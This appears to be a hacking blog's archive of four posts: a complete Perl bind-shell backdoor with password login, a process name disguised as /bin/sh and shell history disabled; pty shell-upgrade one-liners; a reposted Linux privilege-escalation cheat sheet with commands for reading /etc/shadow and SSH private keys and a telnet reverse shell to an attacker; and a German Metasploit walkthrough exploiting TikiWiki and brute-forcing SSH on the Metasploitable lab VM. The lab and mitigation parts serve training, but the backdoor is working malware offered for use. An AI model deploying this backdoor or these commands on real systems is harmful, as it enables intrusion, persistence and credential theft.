Archive for the r00ting Category

Perl Backdoor with pty

Posted in r00ting on April 17, 2012 by peak

#!/usr/bin/perl
#
# Advanced perl backdoor
#
use warnings;
use strict;
use IO::Socket;
use IO::Select;
use POSIX;

my $PORT = 18082;
# perl -e ‚$pass=“yourpassword“; print crypt($pass,substr($pass,2)).“n“‚
my $PASSWORD = ‚pawQj8NmTbBGI‘;
my $SHELL = „/bin/sh“;
my $HOME = „/tmp“;
my $PROC = „/bin/sh“;
my $PROMPT = „P-> „;
my @STTY = (’sane‘, ‚echoe‘, ‚echoctl‘, ‚echoke‘, ‚-ixany‘);

$ENV{HOME} = $HOME;
$ENV{PS1} = ‚\u@\h:\w\$ ‚;
$ENV{PATH} = ‚/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/ucb‘;
$ENV{HISTFILE} = ‚/dev/null‘;
$ENV{USER} = ‚root‘;
$ENV{LOGNAME} = ‚root‘;
$ENV{LS_OPTIONS} = ‚ –color=auto -F -b -T 0‘;
$ENV{LS_COLORS} = ‚LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:‘;
$ENV{SHELL} = $SHELL;
$ENV{TERM} = ‚xterm‘;

$0 = $PROC.““;

$SIG{HUP} = ‚IGNORE‘;
$SIG{TERM} = ‚IGNORE‘;
$SIG{CHLD} = sub { wait; };

my %IOCTLDEF;
$IOCTLDEF{TIOCSWINSZ} = 0x5414;
$IOCTLDEF{TIOCNOTTY} = 0x5422;
$IOCTLDEF{TIOCSCTTY} = 0x540E;

#
# BSD
#
safeload(’sys/ttycom.ph‘, 1);
safeload(’sys/ioctl.ph‘, 1);
safeload(‚asm/ioctls.ph‘, 1);

foreach my $IOCTL (keys(%IOCTLDEF)) {
next if (defined());
#
# linux
#
if (open(IOD, „< /usr/include/asm/ioctls.h")) {
while() {
#if (/^#defines+$IOCTLs+(.*?)n$/) {
if (/^#define\s+$IOCTL\s+(.*?)\n$/) {
eval „sub $IOCTL () {$1;}“;
last;
}
}
close(IOD);
}
eval „sub $IOCTL () { $IOCTLDEF{$IOCTL};}“ unless (defined());
}

#
# NO DEFAULT PORT
#
$PORT = $ARGV[0] if ($ARGV[0]);

my $bind = IO::Socket::INET->new(Listen=>1, LocalPort=>$PORT, Proto=>“tcp“) or die „$!“;

defined(my $pid = fork)
or die „$!“;
exit if $pid;

my %CLIENT;
my $sel_serv = IO::Select->new($bind);
my $sel_shell = IO::Select->new();

#
# MAIN LOOP
#
while (1) {
select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);
read_clients();
read_shells();
}

sub read_clients {
map { read_client($_) } ($sel_serv->can_read(0.01));
}

sub read_shells {
map { read_shell($_) } ($sel_shell->can_read(0.01));
}

sub read_client {
my $fh = shift;
if ($fh eq $bind) {
my $newcon = $bind->accept;
$sel_serv->add($newcon);
$CLIENT{$newcon}->{senha} = 0;
$CLIENT{$newcon}->{sock} = $newcon;
$fh->autoflush(1);
do_client($newcon, ‚3‘, ‚5‘, ‚1‘);
sleep(1);
write_client($newcon, $PROMPT) if ($PROMPT);
} else {
my $msg;
my $nread = sysread($fh, $msg, 1024);
if ($nread == 0) {
close_client($fh);
} else {
telnet_parse($fh, $msg);
}
}
}

sub telnet_parse {
my ($cli, $msg) = @_;
my $char = (split(“, $msg))[0];
if (ord($char) == 255) {
chr_parse($cli, $msg);
} else {
if ($CLIENT{$cli}->{senha} == 0) {
$CLIENT{$cli}->{buf} .= $msg;
return() unless ($msg =~ /r|n/);
my $pass = $CLIENT{$cli}->{buf};
$CLIENT{$cli}->{buf} = “;
$pass =~ s/n//g;
$pass =~ s/0//g;
$pass =~ s/r//g;
if (crypt($pass, $PASSWORD) ne $PASSWORD) {
close_client($cli);
} else {
$CLIENT{$cli}->{senha} = 1;
write_client($cli, „\r\n\r“);
new_shell($cli);
}
return();
}
$msg =~ s/rn00//g;
$msg =~ s/0//g;
$msg =~ s/rn/n/g;
write_shell($cli, $msg);
}
}

sub read_shell {
my $shell = shift;
my $cli;
map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);
my $msg;
my $nread = sysread($shell, $msg, 1024);
unless (defined $nread) {
close_client($cli);
} else {
write_client($cli, $msg);
}
}

sub to_chr {
my $chrs = “;
map { $chrs .= chr($_) } (split(/ +/, shift));
return($chrs);
}

sub do_client {
my ($client, @codes) = @_;
map { write_client($client, chr(255).chr(251).chr($_)) } @codes;
}

sub chr_parse {
my ($client, $chrs) = @_;
my $ords = “;
map { $ords .= ord($_).‘ ‚ } (split(//, $chrs));
my $msg = “;

if ($ords =~ /255 250 31 (d+) (d+) (d+) (d+)/) {
my $winsize = pack(‚C4‘, $4, $3, $2, $1);
ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# or die „$!“;
}

foreach my $code (split(„255 „, $ords)) {
if ($code =~ /(d+) (.*)$/) {
my $codes = $2;
if ($1 == 251) {
$msg .= chr(255).chr(253);
map { $msg .= chr($_) } (split(/ +/, $codes));
}
}
}
write_client($client, $msg) if ($msg);
return(1);
}

sub new_shell {
my $cli = shift;
POSIX::setpgid(0, 0);
my ($tty, $pty);
unless (($tty, $pty) = open_tty($cli)) {
finish_client($cli, „ERROR: No more pty’s avaliable\n“);
return(undef);
}
my $pid = fork();
if (not defined($pid)) {
finish_client($cli, „ERROR: fork()\n“);
return(undef);
}
unless($pid) {
close($pty);
local(*DEVTTY);
if (open (DEVTTY, „/dev/tty“)) {
ioctl(DEVTTY, &TIOCNOTTY, 0 );# or die „$!“;
close(DEVTTY);
}
POSIX::setsid();
ioctl($tty, &TIOCSCTTY, 0);# or die „$!“;

open (STDIN, „&“.fileno($tty)) or die „$!“;
open (STDERR, „>&“.fileno($tty)) or die „$!“;
close($tty);
sleep(1);
foreach my $stty („/bin/stty“, „/usr/bin/stty“) {
next unless (-x $stty);
map { system(„$stty“, $_) } @STTY;
}

chdir(„$HOME“);
{ exec(„$SHELL“) };
while (my $msg = ) {
$msg =~ s/n$//;
$msg =~ s/r$//;
system(„$msg 2>&1“);
}
exit;
}
close($tty);
select($pty); $|++;
select(STDOUT);
set_raw($pty);
$CLIENT{$cli}->{shell} = $pty;
$sel_shell->add($pty);
return(1);
}

sub set_raw($) {
my $self = shift;
return 1 if not POSIX::isatty($self);
my $ttyno = fileno($self);
my $termios = new POSIX::Termios;
unless ($termios) {
return undef;
}
unless ($termios->getattr($ttyno)) {
return undef;
}
$termios->setiflag(0);
$termios->setoflag(0);
$termios->setlflag(0);
$termios->setcc(&POSIX::VMIN, 1);
$termios->setcc(&POSIX::VTIME, 0);
unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
return undef;
}
return 1;
}

sub open_tty {
no strict;
my $cli = shift;
my ($PTY, $TTY) = (*{„pty.$cli“}, *{„tty.$cli“});
for (my $i=0; $i $pty“));
my $tty = get_tty($i, „/dev/tty“);
unless(open($TTY, „+> $tty“)) {
close($PTY);
next;
}
return($TTY, $PTY);
}
return();
}

sub get_tty {
my ($num, $base) = @_;
my @series = (‚p‘ .. ‚z‘, ‚a‘ .. ‚e‘);
my @subs = (‚0‘ .. ‚9‘, ‚a‘ .. ‚f‘);
my $buf = $base;
$buf .= @series[($num >> 4) & 0xF];
$buf .= @subs[$num & 0xF];
return($buf);
}

sub safeload {
my ($module, $require, $arg) = @_;
my $file = $module;
$file =~ s/::///g;
if ($require) {
map { eval („require \“$_/$file\“;“) if(-f „$_/$file“); } @INC;
} else {
$file .= „.pm“ unless ($file =~ /(.pm|.ph)$/);
return(eval(„use $module $arg;“)) if (grep { -f „$_/$file“ } @INC);
}
return;
}

sub write_shell {
my ($cli, $msg) = @_;
my $shell = $CLIENT{$cli}->{shell};
return(undef) unless($shell);
foreach my $m (split_chars($msg, 20)) {
read_shells();
print $shell $m;
read_shells();
}
return(1);
}

sub split_chars {
no warnings;
my ($msg, $nchars) = @_;
my @splited;
my @chrs = split (“, $msg);
my $done = 0;
while (1) {
my $splited = join(“, @chrs[$done .. ($done+$nchars-1)]);
$done += $nchars;
last if (length($splited) {sock};

$sel_serv->remove($sock);
if ($CLIENT{$cli}->{shell}) {
my $shell = $CLIENT{$cli}->{shell};
$sel_shell->remove($shell);
close($shell);
}
$sock->close() if($sock);
delete($CLIENT{$cli});
}

sub write_client {
my ($cli, $msg) = @_;
my $sock = $CLIENT{$cli}->{sock};
syswrite($sock, $msg, length($msg)) if ($sock);
}

post exploitation pty shell

Posted in r00ting on März 5, 2012 by peak

python:

python -c 'import pty; pty.spawn("/bin/bash");'

expect:

#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh
interact

sh-3.2$ expect sh.exp

Basic Linux Privilege Escalation

Posted in r00ting on Januar 31, 2012 by peak

following article is from g0tmi1k! I don’t take any credits. Visit his Blog: http://g0tmi1k

 
Before starting, I would like to point out – I’m no expert. As far as I know, there isn’t a „magic“ answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more „things“ to look for. It’s just a basic & rough guide. Not every command will work for each system as Linux varies so much. „It“ will not jump off the screen – you’ve to hunt for that „little thing“ as „the devil is in the detail“.

Enumeration is the key.
(Linux) privilege escalation is all about:

Collect – Enumeration, more enumeration and some more enumeration.
Process – Sort through data, analyse and prioritisation.
Search – Know what to search for and where to find the exploit code.
Adapt – Customize the exploit, so it fits. Not every exploit work for every system „out of the box“.
Try – Get ready for (lots of) trial and error.

Operating System
What’s the distribution type? What version?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

What’s the Kernel version? Is it 64-bit?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Is there a printer?
lpstat -a

Applications & Services
What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/service

Which service(s) are been running by root? Of these services, which are vulnerable – it’s worth a double check!
ps aux | grep root
ps -ef | grep root

What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‚$1 ~ /^.*r.*/

What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 „password“ [filename]
find . -name „*.php“ -print0 | xargs -0 grep -i -n „var $password“   # Joomla

Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

What other users & hosts are communicating with the system?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig –list
chkconfig –list | grep 3:on
last
w

Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

Have you got a shell? Can you interact with the system?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!

Is port forwarding possible? Redirect and interact with traffic from another view
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E „^#“ /etc/passwd | awk -F: ‚$3 == 0 { print $1}‘   # List of super users
awk -F: ‚($3 == „0“) {print}‘ /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything „interesting“ in the home directorie(s)? If it’s possible to access
ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

File Systems
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk ‚$1 ~ /^.*w.*/‘ 2>/dev/null     # Anyone
ls -aRl /etc/ | awk ‚$1 ~ /^..w/‘ 2>/dev/null        # Owner
ls -aRl /etc/ | awk ‚$1 ~ /^…..w/‘ 2>/dev/null    # Group
ls -aRl /etc/ | awk ‚$1 ~ /w.$/‘ 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                         # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Is there anything in the log file(s) (Could help with „Local File Includes“!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

If commands are limited, you break out of the „jail“ shell?
python -c ‚import pty;pty.spawn(„/bin/bash“)‘
echo os.system(‚/bin/bash‘)
/bin/sh -i

How are file-systems mounted?
mount
df -h

Are there any unmounted file-systems?
cat /etc/fstab

What „Advanced Linux File Permissions“ are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null    # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) – run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) – run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r „bin$“`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in ‚common‘ places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few ‚common‘ places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null        # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders

Any „problem“ files? Word-writeable, „nobody“ files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

Preparation & Finding Exploit Code
What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

Finding exploit code
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com

Finding more information regarding the exploit
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/%5BCVE%5D
http://cve.mitre.org/cgi-bin/cvename.cgi?name=%5BCVE%5D
http://www.vulnview.com/cve-details.php?cvename=%5BCVE%5D

(Quick) „Common“ exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

Mitigations
Is any of the above information easy to find?
Try doing it!
Setup a cron job which automates script(s) and/or 3rd party products

Is the system fully patched? Kernel, operating system, all applications, their  plugins and web services
apt-get update && apt-get upgrade
yum update

Are services running with the minimum level of privileges required?
For example, do you need to run MySQL as root?

Scripts Can any of this be automated?!

unix-privesc-check


http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net

Other (quick) guides & Links
Enumeration
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm

Misc

Klicke, um auf stackjacking-infiltrate11.pdf zuzugreifen

Klicke, um auf post_exploitation_fall09.pdf zuzugreifen

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

0wning Metasploitable

Posted in r00ting with tags , on Januar 13, 2012 by peak

Metasploit Framework Einführung – Owning Metasploitable

Das sind ein paar Notizen von mir. Dieses Tutorial sollte eine Einführung in das Metasploitframework werden.
Es gibt im Netz, und vorallem auf youtube, dutzende Tutorials/Guides/HowTo’s. Ich werde euch nun meine Variante vorstellen.

Ich empfehle euch das ganze als Testumgebung in VmWare laufenzulassen.
Installiert dafür den kostenlosen VmWare Player
http://www.filehippo.com/download_vmware_player/

Als nächstes ladet euch noch eine BackTrack 4 VMware Image herunter. Darauf werden wir arbeiten.
http://www.backtrack-linux.org/downloads/

Und Metasploitable. Das ist ein Ubuntu Server mit vielen eingerichteten Vulns um das msf zu testen.
http://www.metasploit.com/documents/express/Metasploitable.zip.torrent

Starten nun beide VmWares und wechselt zur BackTrack4 vm.

BT4 Login root:toor

Startet nur als erstes das UI mit startx und stellt das Keyboardlayout unter Settings/Regional & Accessibility/Keyboard Layout entsprechend anpassen.

So wir starten nun das Netzwerkinterface, weil bt4 das nicht automatisch macht.
/etc/init.d/networking start
check mit ifconfig
Lasst uns nun zuerst bt4 updaten

apt-get update
apt-get upgrade
apt-get dist-upgrade

und updated msf

cd /pentest/exploits/framework3
svn update

ok, bt4 ready to rock.

Scanne LAN nach Hosts

root@bt:~# nmap -sP 192.168.1.0/24

..
Nmap scan report for 192.168.1.34
Host is up (0.00067s latency).
MAC Address: 00:0C:29:0B:88:85 (VMware)
..

Ihr erhaltet eine Liste aktiver Hosts. Nmap identifiziert die Mac automatisch als VmWare. In meinem Fall hat der Server die ip 192.168.1.34

Mit nmap werden wir testen welche Ports auf dem Server offen sind. Ausserdem wird nmap versuchen das OS (-O) und genauere Informationen zum Service hinter einem offenem Port (-sV) herauszufinden.

root@bt:~# nmap -sV -O 192.168.1.34

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-03-15 20:40 EDT
Nmap scan report for 192.168.1.34
Host is up (0.00030s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:0B:88:85 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.31
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.01 seconds

Wir wissen nun das wir es mit einem Linux Webserver zu tun haben.
Mit Apache Tomcat/MySQl kenne ich mich am besten aus darum werde ich mir den als erstes Anschauen.

Dafür gleicheinmal einen kurzen Check. Mit nc mache ich eine schnelle Get Abfrage. (Natürlich kann man genausogut Firefox starten und [url]http://192.168.1.34[/url] als url eingeben)
nc 192.168.1.34 80
GET / HTTP/1.1


HTTP/1.1 400 Bad Request
...

Offensichtlich liegt jedoch keine Website im wwwsrc folder. Um sich aber sicher zu sein sollte man wenigstens mit einem Fuzzer darüber.

Das Tool dafür heisst DirBuster.

cd /pentest/web/dirbuster
java -jar DirBuster-0.12.jar -u http://192.168.1.34


Dir found: / - 200
Dir found: /cgi-bin/ - 403
Dir found: /icons/ - 200
Dir found: /doc/ - 403
Dir found: /twiki/ - 200
File found: /twiki/readme.txt - 200
File found: /twiki/license.txt - 200
File found: /twiki/TWikiDocumentation.html - 200
Dir found: /twiki/bin/ - 403
...

Bingo -> Wenn wir nun auf [url]http://192.168.1.34/twiki[/url] gehen kommen wir schliesslich über getStarted auf [url]http://192.168.1.34/twiki/bin/view/Main/WebHome[/url] und das ist offensichtlich ein CMS. Wir könnten jetzt auf exploit-db nach einer bereits bekannten Vuln suchen, abe hier soll es ja um das msf gehen starten wir nun msfconsole.

cd /pentest/exploit/framework3
./msfconsole

Help ruf die Hilfe auf. Show Exploits zeigt uns alle Exploits an und Search durchsucht das msf nach meinem String, z.B. tikiwiki.

msf > search tikiwiki

Wir sehen nun Auxiliary und Exploit Module. Auxiliary sind Sniffing, Fuzzing, scanning Module die hauptsächlich Informationen liefern. Solche Module werden keine Shell starten. Exploits hingegen können aktiv sein und eine shell spawnen (service orintierter exploit) oder passiv sein und auf eingehende client connections warten (client orientierter exploit -> web browsers, ftp client, etc.)

Ich verwende den PHP Code Executer:

use exploit/unix/webapp/tikiwiki_graph_formula_exec

Mit Info können wir nun genauere Informationen und eine Erklärung zum Exploit sehen.

Wir müssen nun als nächstes gewisse Parameter für den Exploit einstellen. Mit Show Options werden diese angezeigt.

Module options (exploit/unix/webapp/tikiwiki_graph_formula_exec):

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
Proxies                   no        Use a proxy chain
RHOST                     yes       The target address
RPORT    80               yes       The target port
URI      /tikiwiki        yes       TikiWiki directory path
VHOST                     no        HTTP server virtual host

Alle Optionen die Required sind müssen gesetzt werden. Das machen wir folgendermassen:

sf exploit(tikiwiki_graph_formula_exec) > set RHOST 192.168.1.34
RHOST => 192.168.1.34

Nun haben wir den Exploit startbereit doch was soll er machen? Dafür ist der sogenannte payload zuständig. Mit show payloads können wir alle kompatible payloads sehen.
Ich will eine php shell spawnen, deshalb verwende ich die php bind_shell

set payload php/bind_php

Wir geben nun wieder show options ein und sehen nun das wir auch Parameter für den payload verwenden können. Ich ändere z.B. den Port nach meinen Wünschen.

set lport 55555

So der Exlpoit ist nun bereit.


msf exploit(tikiwiki_graph_formula_exec) > check
[+] The target is vulnerable.
msf exploit(tikiwiki_graph_formula_exec) > exploit

[*] Started bind handler
[*] Attempting to obtain database credentials...
[*] The server returned            : 200 OK
[*] Server version                 : Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
[*] TikiWiki database informations :

db_tiki   : mysql
dbversion : 1.9
host_tiki : localhost
user_tiki : root
pass_tiki : root
dbs_tiki  : tikiwiki195

[*] Attempting to execute our payload...
[*] Command shell session 2 opened (192.168.1.47:48207 -> 192.168.1.34:55555) at Wed Mar 16 09:02:39 -0400 2011

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/tikiwiki

Der gewählte Exploit gibt uns zusätzlich auch gleich den MySQL DB Login. Vielleicht können wir den später ja noch gebrauchen.

Wir können uns nun auf dem System ein wenig umsehen.

cat /etc/passwd

cat /etc/group

Wir sehen das der user msfadmin verschiedene Gruppenrechte hat und eventuell auch sudo Rechte verfügt. Deshalb versuchen wir den msfadmin account mit msf zu bruten.

ctrl + c und verwendet denn ssh login scanner um das Passwort für msfadmin zu bruten.

msf > use scanner/ssh/ssh_login
msf auxiliary(ssh_login) >set pass_file /tmp/passwords.txt
msf auxiliary(ssh_login) >set username msfadmin
msf auxiliary(ssh_login) >set RHOSTS 192.168.1.34
msf auxiliary(ssh_login) >exploit

Der Bruter hat für den User msfadmin das Passwort msfadmin gefunden. Damit können wir uns nun über SSH als msfadmin verbinden.

root@bt:/pentest/exploits/framework3# ssh msfadmin@192.168.1.34
The authenticity of host '192.168.1.34 (192.168.1.34)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? y
Please type 'yes' or 'no': no
Host key verification failed.
root@bt:/pentest/exploits/framework3# ssh msfadmin@192.168.1.34
The authenticity of host '192.168.1.34 (192.168.1.34)' can't be established.
